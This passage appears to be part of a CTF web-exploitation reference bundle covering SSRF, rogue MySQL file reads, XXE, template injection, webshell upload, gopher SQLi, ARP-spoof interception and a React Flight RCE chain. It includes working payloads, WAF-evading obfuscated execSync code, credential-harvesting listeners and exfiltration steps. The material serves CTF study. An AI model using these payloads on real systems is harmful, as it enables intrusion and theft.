f\"http://localhost:9200/_search?source={urllib.parse.quote(es_payload)}&source_content_type=application/json\"\n\n# Through SSRF endpoint\nr = requests.get(f\"http://target/fetch?url={urllib.parse.quote(ssrf_url)}\")\nprint(r.text)\n```\n\n**Detection:** SSRF vulnerability + internal service on port 9200. Confirm with `http://localhost:9200/` (returns ES version info) or `http://localhost:9200/_cat/indices` (lists indices).\n\n**Key insight:** ElasticSearch pre-5.0 exposed Groovy scripting via the `_search` API. Even without direct access, SSRF to port 9200 enables full RCE through `script_fields`. Modern ES versions disabled inline scripting by default. When testing SSRF, always probe port 9200 -- ElasticSearch is a common internal service with powerful script execution capabilities.\n\n---\n\n### Rogue MySQL Server LOAD DATA LOCAL File Read (VolgaCTF 2018)\n\n**Pattern:** When a service connects to your controlled MySQL server with `LOAD DATA LOCAL` enabled, send a rogue response requesting arbitrary file reads from the client machine. The MySQL protocol allows the server to request the client to send any local file during the `LOAD DATA LOCAL INFILE` handshake, regardless of what query the client intended to execute.\n\n**How it works:**\n1. Victim application connects to attacker-controlled MySQL server (e.g., via SSRF or misconfigured DB host)\n2. Attacker server completes the handshake normally\n3. When the client sends any query, the rogue server responds with a file transfer request packet\n4. The client reads the requested local file and sends its contents to the server\n\n```python\n# Rogue MySQL server — simplified core logic\nimport socket\n\nserver = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\nserver.bind(('0.0.0.0', 3306))\nserver.listen(1)\nconn, addr = server.accept()\n\n# Send server greeting (MySQL handshake)\ngreeting = bytes.fromhex(\n '4a0000000a352e362e32382d' # version 5.6.28\n '307562756e747530' # ubuntu0\n '2e31342e30342e31' # .14.04.1\n '001d000000' # connection id\n '2a5e2a683e6a2b29' # auth plugin data part 1\n '00fff70800' # capability flags\n '210000000000000000000000' # more fields\n '00'\n '282a4e3b3a592635254a2944' # auth plugin data part 2\n '00'\n)\nconn.send(greeting)\n\n# Receive client auth response\nconn.recv(4096)\n\n# Send OK packet (auth success)\nconn.send(bytes.fromhex('0700000200000002000000'))\n\n# Wait for client to send a query\nconn.recv(4096)\n\n# Check client capability bit \"Can Use LOAD DATA LOCAL: Set\"\n# Send rogue file read request for /etc/passwd\ndump_etc_passwd = bytes.fromhex('0c000001fb2f6574632f706173737764')\nconn.send(dump_etc_passwd) # rogue MySQL file read request\n\n# Receive file contents from client\nfile_data = conn.recv(65535)\nprint(f\"[+] Received file contents:\\n{file_data.decode(errors='replace')}\")\n\nconn.close()\n```\n\n**Useful files to request:**\n```text\n/etc/passwd # User enumeration\n/etc/shadow # Password hashes (if client runs as root)\n/proc/self/environ # Environment variables with secrets\n/var/www/html/config.php # Application config with DB credentials\n/home/user/.ssh/id_rsa # SSH private keys\n/flag.txt # CTF flag\n```\n\n**Key insight:** A rogue MySQL server can request the connecting client to send any local file via the LOAD DATA LOCAL protocol, regardless of what query the client intended to execute. This works because the MySQL protocol allows the server to respond to any client query with a file transfer request. Look for challenges where you can control the MySQL host a service connects to (SSRF, config injection, DNS rebinding). The client must have `LOAD DATA LOCAL` enabled (default in many MySQL client libraries).\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":26297,"content_sha256":"0089fc8baaec73144eda29d52a4e35945d8d76ea33f8befd26238528f25edc4a"},{"filename":"server-side-advanced-3.md","content":"# CTF Web - Advanced Server-Side Techniques (Part 3)\n\nCVE-era and 2018-era advanced server-side techniques (CSAW, 35C3, ASIS, PlaidCTF). For parts 1-2, see [server-side-advanced.md](server-side-advanced.md) and [server-side-advanced-2.md](server-side-advanced-2.md).\n\n## Table of Contents\n- [WAV Polyglot Upload Bypass via .wave Extension (PlaidCTF 2018)](#wav-polyglot-upload-bypass-via-wave-extension-plaidctf-2018)\n- [Multi-Slash URL Parser `path.startswith` Bypass (CSAW 2018 Finals)](#multi-slash-url-parser-pathstartswith-bypass-csaw-2018-finals)\n- [Xalan XSLT math:random() Seed Guess (35C3 2018)](#xalan-xslt-mathrandom-seed-guess-35c3-2018)\n- [SoapClient _user_agent CRLF Method Smuggling (35C3 2018)](#soapclient-_user_agent-crlf-method-smuggling-35c3-2018)\n- [`gopher://` No-Host URL Scheme Bypass (35C3 2018)](#gopher-no-host-url-scheme-bypass-35c3-2018)\n- [SSRF Credential Leak via Attacker-Specified Outbound URL (ASIS Finals 2018)](#ssrf-credential-leak-via-attacker-specified-outbound-url-asis-finals-2018)\n\n---\n\n---\n\n## WAV Polyglot Upload Bypass via .wave Extension (PlaidCTF 2018)\n\n**Pattern (idIoT: Action):** Site accepts `ogg/wav/wave/webm/mp3` uploads and validates by parsing the RIFF/WAVE header. CSP is `script-src 'self'`, so inline XSS fails, but a same-origin `\u003cscript src=...>` to an uploaded file would run. Browsers refuse to load responses whose Content-Type starts with `audio/`, yet Apache on many distros has no MIME mapping for the `.wave` extension and serves it as the default (usually `application/octet-stream` or with no `Content-Type`).\n\n**Exploit build:**\n1. Construct a file whose first bytes parse as a valid RIFF/WAVE container but whose `data` chunk contents open a JavaScript block comment and embed the payload.\n2. Save with extension `.wave` (not `.wav`) so Apache does not label it as audio.\n3. Inject `\u003cscript src=\"/uploads/evil.wave\">\u003c/script>` via the existing XSS sink — the browser now executes the script from a same-origin URL, satisfying `script-src 'self'`.\n\n```text\nRIFF=1/*WAVEfmt ..........]................LIST....INFO\nISFT....Lavf57.83.100.data........................\n........*/ ; alert(1);\n```\nHex view (truncated): the first 4 bytes `52 49 46 46` still form `RIFF`; the quirky length field `3d 31 2f 2a` (`=1/*`) is valid for WAV parsers but also opens a JS comment that runs until the `*/ ;alert(1);` tail at the end of the `data` chunk.\n\n**Key insight:** File-upload filters that only check magic bytes or MIME based on extension are defeated by any extension the web server has no explicit mapping for. Test each permitted extension against the server's MIME database (`mime.types`) — whichever one falls through to `application/octet-stream` becomes a script gadget under `script-src 'self'`. Fix by enforcing a strict response `Content-Type` for user uploads (e.g., `application/octet-stream` + `Content-Disposition: attachment`).\n\n**References:** PlaidCTF 2018 — writeup 10018\n\n---\n\n## Multi-Slash URL Parser `path.startswith` Bypass (CSAW 2018 Finals)\n\n**Pattern:** Server code rejects URLs whose parsed path starts with `/flaginfo`, but most HTTP stacks resolve consecutive slashes equivalently. Adding one extra slash shifts the parsed path to `//flaginfo`, breaking `startswith(\"/flaginfo\")` while still routing to the real endpoint.\n\n```text\n# Filtered\nhttp://127.0.0.1:5000/flaginfo\n# Allowed\nhttp://127.0.0.1:5000///flaginfo\n```\n\n**Key insight:** Filters that check the parsed URL differ from the resolver that ultimately routes the request. Always test `///`, `/./`, `%2f`, and `http:/127.0.0.1` permutations when the filter is a string-comparison, not a structural match.\n\n**References:** CSAW 2018 Finals — NekoCat, writeups 12130, 12144\n\n---\n\n## Xalan XSLT math:random() Seed Guess (35C3 2018)\n\n**Pattern:** Xalan's `math:random()` extension uses C `srand(time(NULL))`. The challenge leaks 5 consecutive random values; brute-force 3 consecutive seeds (`t-1`, `t`, `t+1`) with libc `rand()` to find the one matching the leak, then predict the next value.\n\n```c\nfor (long base = time(NULL) - 1; base \u003c= time(NULL) + 1; base++) {\n srand(base);\n for (int j = 0; j \u003c 5; j++) {\n long long v = llround((double)rand() / RAND_MAX * 4294967296.0);\n /* compare with leaked values */\n }\n}\n```\n\n**Key insight:** Any XSLT engine that exposes math extensions usually proxies straight to libc rand/srand; seeds are second-granularity time values and fall to a 3-value brute force.\n\n**References:** 35C3 CTF 2018 — Juggle, writeup 12803\n\n---\n\n## SoapClient _user_agent CRLF Method Smuggling (35C3 2018)\n\n**Pattern:** PHP's `SoapClient` lets user code set the `_user_agent` property. That string is interpolated into the HTTP request without CRLF filtering, so injecting `\\r\\n\\r\\n` followed by a full HTTP request smuggles a *second* request out of the same TCP connection — turning a POST-only primitive into a GET (or any other method) hitting a localhost-restricted admin endpoint.\n\n```php\n$c = new SoapClient(null, [\n 'location' => 'http://target/soap',\n 'uri' => 'x',\n 'user_agent' => \"x\\r\\nX-Forwarded-For: 127.0.0.1\\r\\n\\r\\nGET /admin HTTP/1.1\\r\\nHost: target\\r\\n\\r\\n\"\n]);\n$c->__soapCall('x', []);\n```\n\n**Key insight:** Any serialization gadget that lets you set a \"magic\" HTTP header string in a deserialized object becomes an HTTP smuggler. `SoapClient->_user_agent` and `SoapClient->_cookies` are the typical PHP gadgets for this.\n\n**References:** 35C3 CTF 2018 — post, writeup 12808\n\n---\n\n## `gopher://` No-Host URL Scheme Bypass (35C3 2018)\n\n**Pattern:** An allowlist validator only enforces the scheme check when the URL has a host (`parsed.scheme in ('http','https') if parsed.host`). `gopher:///host:port/data` leaves the host empty in some parsers, skipping the check entirely, so the request backend uses gopher to talk to any TCP service — MSSQL, Redis, SMTP.\n\n```text\ngopher:///127.0.0.1:1433/_\u003craw TDS bytes>\n```\n\n**Key insight:** Always test every URL scheme against the validator both with and without `//host` because parser/validator mismatches are asymmetric. `gopher:///x`, `file:///x`, and `jar:file:///x` are the common scheme bypasses.\n\n**References:** 35C3 CTF 2018 — post, writeup 12808\n\n---\n\n## SSRF Credential Leak via Attacker-Specified Outbound URL (ASIS Finals 2018)\n\n**Pattern:** Server fetches resources from a user-controlled URL and attaches its own HTTP Basic credentials to the request. Point the URL at an attacker-controlled host; the inbound request arrives with `Authorization: Basic \u003cbase64(user:pass)>`.\n\n```http\n# Listener (attacker side)\nnc -lvnp 80\n\n# Victim sends:\nGET / HTTP/1.1\nHost: attacker.example\nAuthorization: Basic YmlnYnJvdGhlcjo0UWozcmM0WmhOUUt2N1J6\n```\n\n**Key insight:** Any SSRF where the client library uses per-request credentials (`requests.auth`, `urllib3 auth_header`, Python `http.client` default credentials) leaks them if the attacker picks the target URL. Strip `Authorization` on redirects and never attach credentials by default.\n\n**References:** ASIS CTF Finals 2018 — Gunshop 2, writeup 12420\n","content_type":"text/markdown; charset=utf-8","language":"markdown","size":7099,"content_sha256":"c123ef5df7196da750f9eb2538c406eab03933732ae7dccb657a24710f12e867"},{"filename":"server-side-advanced-4.md","content":"# Server-Side Advanced Techniques (Part 4)\n\n## Table of Contents\n- [WeasyPrint SSRF & File Read (CVE-2024-28184, Nullcon 2026)](#weasyprint-ssrf--file-read-cve-2024-28184-nullcon-2026)\n - [Variant 1: Blind SSRF via Attachment Oracle](#variant-1-blind-ssrf-via-attachment-oracle)\n - [Variant 2: Local File Read via file:// Attachment](#variant-2-local-file-read-via-file-attachment)\n- [MongoDB Regex Injection / $where Blind Oracle (Nullcon 2026)](#mongodb-regex-injection--where-blind-oracle-nullcon-2026)\n- [Pongo2 / Go Template Injection via Path Traversal (Nullcon 2026)](#pongo2--go-template-injection-via-path-traversal-nullcon-2026)\n- [ZIP Upload with PHP Webshell (Nullcon 2026)](#zip-upload-with-php-webshell-nullcon-2026)\n- [basename() Bypass for Hidden Files (Nullcon 2026)](#basename-bypass-for-hidden-files-nullcon-2026)\n- [wget CRLF Injection for SSRF-to-SMTP (SECCON 2017)](#wget-crlf-injection-for-ssrf-to-smtp-seccon-2017)\n- [Gopher SSRF to MySQL Blind SQLi (34C3 CTF 2017, AceBear 2018)](#gopher-ssrf-to-mysql-blind-sqli-34c3-ctf-2017-acebear-2018)\n- [React Server Components Flight Protocol RCE (Ehax 2026)](#react-server-components-flight-protocol-rce-ehax-2026)\n - [Step 1 — Identify RSC via HTTP headers](#step-1--identify-rsc-via-http-headers)\n - [Step 2 — Exploit Flight deserialization for RCE](#step-2--exploit-flight-deserialization-for-rce)\n - [Step 3 — Exfiltrate data via NEXT_REDIRECT](#step-3--exfiltrate-data-via-next_redirect)\n - [Step 4 — Bypass WAF keyword filters](#step-4--bypass-waf-keyword-filters)\n - [Step 5 — Post-RCE enumeration](#step-5--post-rce-enumeration)\n - [Step 6 — Lateral movement to internal services](#step-6--lateral-movement-to-internal-services)\n- [AMQP/TLS Interception via sslsplit + arpspoof (TAMUctf 2019)](#amqptls-interception-via-sslsplit--arpspoof-tamuctf-2019)\n- [CairoSVG XXE via Oversized width= (BSidesSF 2019)](#cairosvg-xxe-via-oversized-width-bsidessf-2019)\n- [Bazaar (.bzr) Repository Reconstruction via bzr check Loop (STEM CTF 2019)](#bazaar-bzr-repository-reconstruction-via-bzr-check-loop-stem-ctf-2019)\n\nSee also: [server-side-advanced.md](server-side-advanced.md) for Part 1 (ExifTool DjVu, Go rune/byte, ZIP symlink, path traversal bypasses, Nginx alias, Unicode homoglyph, Ruby Regexp.escape, /dev/fd, Flask/Werkzeug debug, XXE DTD filter bypass, %2f bypass). See also: [server-side-advanced-2.md](server-side-advanced-2.md) for Part 2. See also: [server-side-advanced-3.md](server-side-advanced-3.md) for Part 3.\n\n---\n\n## WeasyPrint SSRF & File Read (CVE-2024-28184, Nullcon 2026)\n\n**Pattern (Web 2 Doc 1/2):** App converts user-supplied URL to PDF using WeasyPrint. Attachment fetches bypass internal header checks and can read local files.\n\n### Variant 1: Blind SSRF via Attachment Oracle\nWeasyPrint `\u003ca rel=\"attachment\" href=\"...\">` fetches the URL in a separate codepath without `X-Fetcher` or similar internal headers. If the target is localhost-only, the attachment fetch succeeds from localhost.\n\n**Boolean oracle:** Embedded file appears in PDF only when target returns HTTP 200:\n```python\n# Check for embedded attachment in PDF\ndef has_attachment(pdf_bytes):\n return b\"/Type /EmbeddedFile\" in pdf_bytes\n\n# Blind extraction via charCodeAt oracle\nfor i in range(flag_len):\n for ch in charset:\n html = f'\u003ca rel=\"attachment\" href=\"http://127.0.0.1:5000/admin/flag?i={i}&c={ch}\">A\u003c/a>'\n pdf = convert_url_to_pdf(host_html(html))\n if has_attachment(pdf):\n flag += ch; break\n```\n\n### Variant 2: Local File Read via file:// Attachment\n```html\n\u003c!-- Host this HTML, submit URL to converter -->\n\u003clink rel=\"attachment\" href=\"file:///flag.txt\">\n```\n**Extract:** `pdfdetach -save 1 -o flag.txt output.pdf`\n\n**Key insight:** WeasyPrint processes `\u003clink rel=\"attachment\">` and `\u003ca rel=\"attachment\">` -- both can reference `file://` or internal URLs. The attachment is embedded in the PDF as a file stream.\n\n---\n\n## MongoDB Regex Injection / $where Blind Oracle (Nullcon 2026)\n\n**Pattern (CVE DB):** Search input interpolated into `/.../i` regex in MongoDB query. Break out of regex to inject arbitrary JS conditions.\n\n**Injection payload:**\n```text\na^/)||(\u003cJS_CONDITION>)&&(/a^\n```\nThis breaks the regex context and injects a boolean condition. Result count reveals truth value.\n\n**Binary search extraction:**\n```python\ndef oracle(condition):\n # Inject into regex context\n payload = f\"a^/)||(({condition}))&&(/a^\"\n html = post_search(payload)\n return parse_result_count(html) > 0\n\n# Find flag length\nlo, hi = 1, 256\nwhile lo \u003c hi:\n mid = (lo + hi + 1) // 2\n if oracle(f\"this.product.length>{mid}\"): lo = mid\n else: hi = mid - 1\nlength = lo + 1\n\n# Extract each character\nfor i in range(length):\n l, h = 31, 126\n while l \u003c h:\n m = (l + h + 1) // 2\n if oracle(f\"this.product.charCodeAt({i})>{m}\"): l = m\n else: h = m - 1\n flag += chr(l + 1)\n```\n\n**Detection:** Unsanitized input in MongoDB `$regex` or `$where`. Test with `a/)||true&&(/a` vs `a/)||false&&(/a` -- different result counts confirm injection.\n\n---\n\n## Pongo2 / Go Template Injection via Path Traversal (Nullcon 2026)\n\n**Pattern (WordPress Static Site Generator):** Go app renders templates with Pongo2. Template parameter has path traversal allowing rendering of uploaded files.\n\n**Attack chain:**\n1. Upload file containing: `{% include \"/flag.txt\" %}`\n2. Get upload ID from session cookie (base64 decode, extract hex ID)\n3. Request render with traversal: `/generate?template=../uploads/\u003cid>/pwn`\n\n**Pongo2 SSTI payloads:**\n```text\n{% include \"/etc/passwd\" %}\n{% include \"/flag.txt\" %}\n{{ \"test\" | upper }}\n```\n\n**Detection:** Go web app with template rendering + file upload. Check for `pongo2`, `jet`, or standard `html/template` in source.\n\n---\n\n## ZIP Upload with PHP Webshell (Nullcon 2026)\n\n**Pattern (virus_analyzer):** App accepts ZIP uploads, extracts to web-accessible directory, serves extracted files.\n\n**Exploit:**\n```bash\n# Create PHP webshell\necho '\u003c?php echo file_get_contents(\"/flag.txt\"); ?>' > shell.php\nzip payload.zip shell.php\ncurl -F '[email protected]' http://target/\n# Access: http://target/uploads/\u003cid>/shell.php\n```\n\n**Variants:**\n- If `system()` blocked (\"Cannot fork\"), use `file_get_contents()` or `readfile()`\n- If `.php` blocked, try `.phtml`, `.php5`, `.phar`, or upload `.htaccess` first\n- Race condition: file may be deleted after extraction -- access immediately\n\n---\n\n## basename() Bypass for Hidden Files (Nullcon 2026)\n\n**Pattern (Flowt Theory 2):** App uses `basename()` to prevent path traversal in file viewer, but it only strips directory components. Hidden/dot files in the same directory are still accessible.\n\n**Exploit:**\n```bash\n# basename() allows .lock, .htaccess, etc.\ncurl \"http://target/?view_receipt=.lock\"\n# .lock reveals secret filename\ncurl \"http://target/?view_receipt=secret_XXXXXXXX\"\n```\n\n**Key insight:** `basename()` is NOT a security function -- it only extracts the filename component. It doesn't filter hidden files (`.foo`), backup files (`file~`), or any filename without directory separators.\n\n---\n\n## wget CRLF Injection for SSRF-to-SMTP (SECCON 2017)\n\n**Pattern:** wget versions before 1.17.1 (notably 1.14, common on CentOS 7) do not sanitize CRLF characters (`%0d%0a`) in the HTTP Host header. When an SSRF allows controlling the URL that wget fetches, CRLF injection into the hostname allows injecting arbitrary protocol commands. Targeting an internal SMTP server on port 25 enables sending arbitrary emails.\n\n```text\n# CRLF-injected URL targeting internal SMTP on port 25:\n# Key: the port :25/ must come at the END to avoid \"Bad port number\" errors\nhttp://127.0.0.1%0D%0AHELO%20x%0D%0AMAIL%20FROM%3A%3Cattacker%40x.com%3E%0D%0ARCPT%20TO%3A%3Croot%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0Aabc%0D%0A.%0D%0A:25/\n```\n\n```python\nimport requests\nimport urllib.parse\n\n# Build the CRLF-injected SMTP conversation\nsmtp_commands = \"\\r\\n\".join([\n \"HELO x\",\n \"MAIL FROM:\[email protected]>\",\n \"RCPT TO:\u003croot>\",\n \"DATA\",\n \"Subject: give me flag\",\n \"\",\n \"Send me the flag please\",\n \".\",\n])\n\n# URL-encode the SMTP commands for injection into the hostname\nencoded = urllib.parse.quote(smtp_commands, safe='')\n\n# Port must be at the end to avoid wget \"Bad port number\" error\nssrf_url = f\"http://127.0.0.1{encoded}:25/\"\n\n# Trigger the SSRF\nrequests.post(\"http://target/fetch\", data={\"url\": ssrf_url})\n# wget connects to 127.0.0.1:25 and sends the SMTP commands as part of the HTTP request\n# The SMTP server processes the injected commands and delivers the email\n```\n\n**Key insight:** wget before 1.17.1 did not sanitize CRLF in the Host header. When SSRF reaches an internal SMTP service, CRLF injection enables sending arbitrary emails. Place the port at the END of the injected string to avoid \"Bad port number\" errors. This technique extends to any line-based protocol accessible via SSRF (FTP, Redis, memcached). See also [server-side.md](server-side.md#ssrf) for other SSRF techniques.\n\n---\n\n## Gopher SSRF to MySQL Blind SQLi (34C3 CTF 2017, AceBear 2018)\n\n**Pattern:** When SSRF allows the `gopher://` protocol, craft raw MySQL protocol packets to communicate with a local MySQL instance that uses passwordless authentication (common in CTF setups). Combine with time-based blind SQLi via `SLEEP()` to extract data.\n\n```python\nimport urllib.parse\nimport requests\nimport time\n\n# Step 1: Capture a real MySQL session with tcpdump\n# tcpdump -i lo port 3306 -w mysql.pcap\n# Connect to MySQL normally: mysql -u root\n# Execute a simple query, then disconnect\n# Extract the client auth packet and query packet bytes from the pcap\n\n# Step 2: Build the gopher payload\n# MySQL auth packet (handshake response) - extract from pcap\nauth_packet = bytearray([\n 0x48, 0x00, 0x00, 0x01, # packet length + sequence\n 0x85, 0xa6, 0x03, 0x00, # client capabilities\n # ... remaining auth packet bytes from tcpdump capture\n])\n\n# MySQL query packet\ndef build_query_packet(sql):\n payload = b'\\x03' + sql.encode() # 0x03 = COM_QUERY\n length = len(payload)\n # MySQL packet: 3-byte length (little-endian) + 1-byte sequence number\n header = length.to_bytes(3, 'little') + b'\\x00'\n return header + payload\n\n# Step 3: Time-based blind extraction\nflag = \"\"\nfor pos in range(1, 50):\n for char in \"abcdefghijklmnopqrstuvwxyz0123456789_{}-\":\n query = f\"SELECT IF(SUBSTRING((SELECT flag FROM secrets LIMIT 1),{pos},1)='{char}',SLEEP(3),0)\"\n query_packet = build_query_packet(query)\n\n # Combine auth + query, URL-encode for gopher\n raw_data = bytes(auth_packet) + bytes(query_packet)\n encoded = urllib.parse.quote(raw_data, safe='')\n\n # Double-encode if the SSRF handler URL-decodes once\n double_encoded = urllib.parse.quote(encoded, safe='')\n\n gopher_url = f\"gopher://127.0.0.1:3306/_{double_encoded}\"\n\n start = time.time()\n requests.get(\"http://target/fetch\", params={\"url\": gopher_url})\n elapsed = time.time() - start\n\n if elapsed > 3.0:\n flag += char\n print(f\"Flag so far: {flag}\")\n break\n\nprint(f\"Final flag: {flag}\")\n```\n\n**Key insight:** `gopher://` sends raw TCP data, enabling communication with any TCP service. Capture a legitimate MySQL session with `tcpdump`, then replay the auth + query bytes via gopher. Use passwordless MySQL accounts (common in CTF setups). Double-URL-encode the payload when the SSRF handler URL-decodes once. This technique also works against PostgreSQL, Redis, and other TCP services accessible from the SSRF context. See also [sql-injection.md](sql-injection.md) for SQL injection techniques.\n\n---\n\n## React Server Components Flight Protocol RCE (Ehax 2026)\n\n**Pattern (Flight Risk):** Next.js app using React Server Components (RSC). The Flight protocol deserializes client-sent objects on the server. A crafted fake Flight chunk exploits the constructor chain (`constructor → constructor → Function`) for arbitrary code execution (CVE-2025-55182).\n\n### Step 1 — Identify RSC via HTTP headers\n\nIntercept form submissions in the Network tab. RSC-specific headers:\n```http\nPOST / HTTP/1.1\nNext-Action: 7fc5b26191e27c53f8a74e83e3ab54f48edd0dbd\nAccept: text/x-component\nNext-Router-State-Tree: %5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%5D\nContent-Type: multipart/form-data; boundary=----x\n```\n\nConfirm the server function name in client JS bundles:\n```javascript\ncreateServerReference(\"7fc5b26191e27c53f8a74e83e3ab54f48edd0dbd\", callServer, void 0, findSourceMapURL, \"greetUser\")\n```\n\n### Step 2 — Exploit Flight deserialization for RCE\n\nCraft a fake Flight chunk in the multipart form body. The `_prefix` field contains the payload. The constructor chain (`constructor → constructor → Function`) enables arbitrary JavaScript execution on the server.\n\nRequest structure:\n```http\nPOST / HTTP/1.1\nHost: target\nNext-Action: \u003caction_hash>\nAccept: text/x-component\nContent-Type: multipart/form-data; boundary=----x\n\n------x\nContent-Disposition: form-data; name=\"0\"\n\nTHE FAKE FLIGHT CHUNK HERE\n------x\nContent-Disposition: form-data; name=\"1\"\n\n\"$@0\"\n------x--\n```\n\n### Step 3 — Exfiltrate data via NEXT_REDIRECT\n\nNext.js uses `NEXT_REDIRECT` errors internally for navigation. Abuse this to exfiltrate data through the `x-action-redirect` response header:\n\n```javascript\nthrow Object.assign(new Error('NEXT_REDIRECT'), {\n digest: `NEXT_REDIRECT;push;/login?a=${encodeURIComponent(RESULT)};307;`\n});\n```\n\nThe server responds with:\n```http\nHTTP/1.1 303 See Other\nx-action-redirect: /login?a=\u003cexfiltrated_data>;push\n```\n\nExample — confirm RCE with `process.pid`:\n```javascript\nthrow Object.assign(new Error('NEXT_REDIRECT'), {\n digest: `NEXT_REDIRECT;push;/login?a=${process.pid};307;`\n});\n// Response: x-action-redirect: /login?a=1;push\n```\n\n### Step 4 — Bypass WAF keyword filters\n\nWhen keywords like `child_process`, `execSync`, `mainModule` are blocked (403 response with \"WAF Alert\"):\n\n1. **String concatenation:**\n ```javascript\n p['main'+'Module']['requ'+'ire']('chi'+'ld_pro'+'cess')\n ```\n\n2. **Hex encoding:**\n ```javascript\n '\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73' // child_process\n '\\x65\\x78\\x65\\x63\\x53\\x79\\x6e\\x63' // execSync\n ```\n\n3. **Combined in payload:**\n ```javascript\n var p=process;\n var m=p['main'+'Module'];\n var r=m['requ'+'ire'];\n var c=r('\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73');\n var o=c['\\x65\\x78\\x65\\x63\\x53\\x79\\x6e\\x63']('id').toString();\n throw Object.assign(new Error('NEXT_REDIRECT'),\n {digest:`NEXT_REDIRECT;push;/login?a=${encodeURIComponent(o)};307;`});\n ```\n\n### Step 5 — Post-RCE enumeration\n\n```javascript\n// Working directory\nprocess.cwd() // → /app\n\n// Process arguments\nprocess.argv // → /usr/local/bin/node,/app/server.js\n\n// List files\nprocess.mainModule.require('fs').readdirSync(process.cwd()).join(',')\n\n// Read files\nprocess.mainModule.require('fs').readFileSync('vault.hint').toString('hex')\n\n// Check available modules\nObject.keys(process.mainModule.require('http'))\n```\n\n### Step 6 — Lateral movement to internal services\n\nAfter discovering internal services (e.g., from hint files):\n```javascript\n// Use nc to reach internal HTTP services\nvar p=process;var m=p['main'+'Module'];var r=m['requ'+'ire'];\nvar c=r('\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73');\nvar o=c['\\x65\\x78\\x65\\x63\\x53\\x79\\x6e\\x63'](\n 'printf \"GET /flag.txt HTTP/1.1\\\\r\\\\nHost: internal-vault\\\\r\\\\n\\\\r\\\\n\" | nc internal-vault 9009'\n).toString();\nthrow Object.assign(new Error('NEXT_REDIRECT'),\n {digest:`NEXT_REDIRECT;push;/login?a=${encodeURIComponent(o)};307;`});\n```\n\n**Key insight:** The NEXT_REDIRECT mechanism provides a reliable out-of-band data exfiltration channel through the `x-action-redirect` response header. Combined with WAF bypass via string concatenation and hex encoding, this enables full RCE even in filtered environments.\n\n**Full exploit chain:** Identify RSC headers → craft fake Flight chunk → bypass WAF → achieve RCE → enumerate filesystem → discover internal services → lateral movement via `nc` to retrieve flag.\n\n**Detection:** `Accept: text/x-component` + `Next-Action` header in requests, `createServerReference()` in client JS, Next.js Server Actions with user-controlled form data.\n\n---\n\n## AMQP/TLS Interception via sslsplit + arpspoof (TAMUctf 2019)\n\n**Pattern:** A web shim posts a JSON job `{\"user\": \"alice\", \"code\": \"...\"}` to an internal RabbitMQ broker on `5671/tcp` (AMQPS). Clients almost never pin certificates, so ARP-spoofing both hosts onto the attacker and terminating TLS with sslsplit yields plaintext AMQP frames you can log and rewrite (swap `\"alice\"` for `\"root\"` mid-stream to escalate privileges).\n\n```bash\n# 1. Sit between the web server and the broker (both ways)\narpspoof -i eth0 -t 172.30.0.2 172.30.0.4 &\narpspoof -i eth0 -t 172.30.0.4 172.30.0.2 &\n\n# 2. Redirect the AMQP port into sslsplit\nsudo iptables -t nat -A PREROUTING -p tcp --destination-port 5671 -j REDIRECT --to-ports 1234\nopenssl genrsa -out ca.key 4096\nopenssl req -new -x509 -days 1826 -key ca.key -out ca.crt\nmkdir /tmp/sslsplit logdir\nsudo sslsplit -D -l connections.log -j /tmp/sslsplit -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 1234\ncat logdir/* # shows plaintext AMQP frames with the JSON body\n\n# 3. For on-the-fly rewriting, patch mitmproxy's raw TCP layer:\n# mitmproxy/proxy/protocol/rawtcp.py, RawTCPLayer._handle_server_message():\n# x = buf[:size].tobytes().replace(b'\"user\": \"alice\",', b'\"user\": \"root\", ')\n# tcp_message = tcp.TCPMessage(dst == server, x)\nmitmproxy --mode transparent --listen-port 1234 --ssl-insecure \\\n --tcp-hosts 172.30.0.2 --tcp-hosts 172.30.0.4\n```\n\n**Key insight:** Clients without certificate pinning accept any CA-signed cert; sslsplit terminates TLS and forwards plaintext to its log, so any TLS-wrapped protocol (AMQP, IRC, MQTT, LDAPS, custom binary) becomes observable and — with a trivial mitmproxy patch — modifiable. Burp and mitmproxy focus on HTTPS; for arbitrary protocols, reach for sslsplit/sslsniff plus a pinhole in the TCP layer.\n\n**References:** TAMUctf 2019 — Homework Help, writeup 13477\n\n---\n\n## CairoSVG XXE via Oversized width= (BSidesSF 2019)\n\n**Pattern:** A web service renders user-supplied SVG to PNG with CairoSVG. CairoSVG (and librsvg/ImageMagick/rsvg-convert) resolves XML `DOCTYPE` entities before rasterising, so an XXE entity referenced inside `\u003ctext>` is drawn into the PNG. The gotcha: the rendered pixels have to fit the string — for a large file such as `/proc/self/status`, bump `width` up to ~20000 (max ~34000 before the server times out during rasterisation) so the text does not get clipped.\n\n```xml\n\u003c?xml version=\"1.0\" standalone=\"no\"?>\n\u003c!DOCTYPE svg [\u003c!ENTITY xx SYSTEM \"file:///proc/self/status\">]>\n\u003csvg height=\"300\" width=\"20000\" xmlns=\"http://www.w3.org/2000/svg\">\n \u003ctext x=\"0\" y=\"15\" fill=\"red\">test &xx;; test\u003c/text>\n\u003c/svg>\n```\n\nUpload, download the PNG, and read the flag off the image (eyeball or OCR). When hunting the flag path, dump `/proc/self/status` first to find the PID, then probe `/proc/\u003cpid>/cwd/flag.txt`, `/proc/\u003cpid>/cmdline`, and `/proc/\u003cpid>/environ`. If the first pass clips (e.g. width=3000), re-render wider — BSidesSF 2019 SVGMagic landed the flag only at `width=\"3000\"` because the target path was short.\n\n**Key insight:** SVG renderers that honour DOCTYPE + ENTITY expansion are XXE-vulnerable just like any XML parser; enlarge `width` to fit large file contents into the rendered image, and remember the output channel is *pixels*, not text — `grep` the PNG for the flag after OCR (e.g. `tesseract img.png -`) or open it manually.\n\n**References:** BSidesSF 2019 CTF — SVGMagic (PNGSVG), writeup 13711. See also the svglib variant in [server-side-2.md](server-side-2.md).\n\n---\n\n## Bazaar (.bzr) Repository Reconstruction via bzr check Loop (STEM CTF 2019)\n\n**Pattern:** Web server exposes `/.bzr/` (HTTP 403 on the index, 200 on files). Bazaar stores history as a handful of index + pack files; 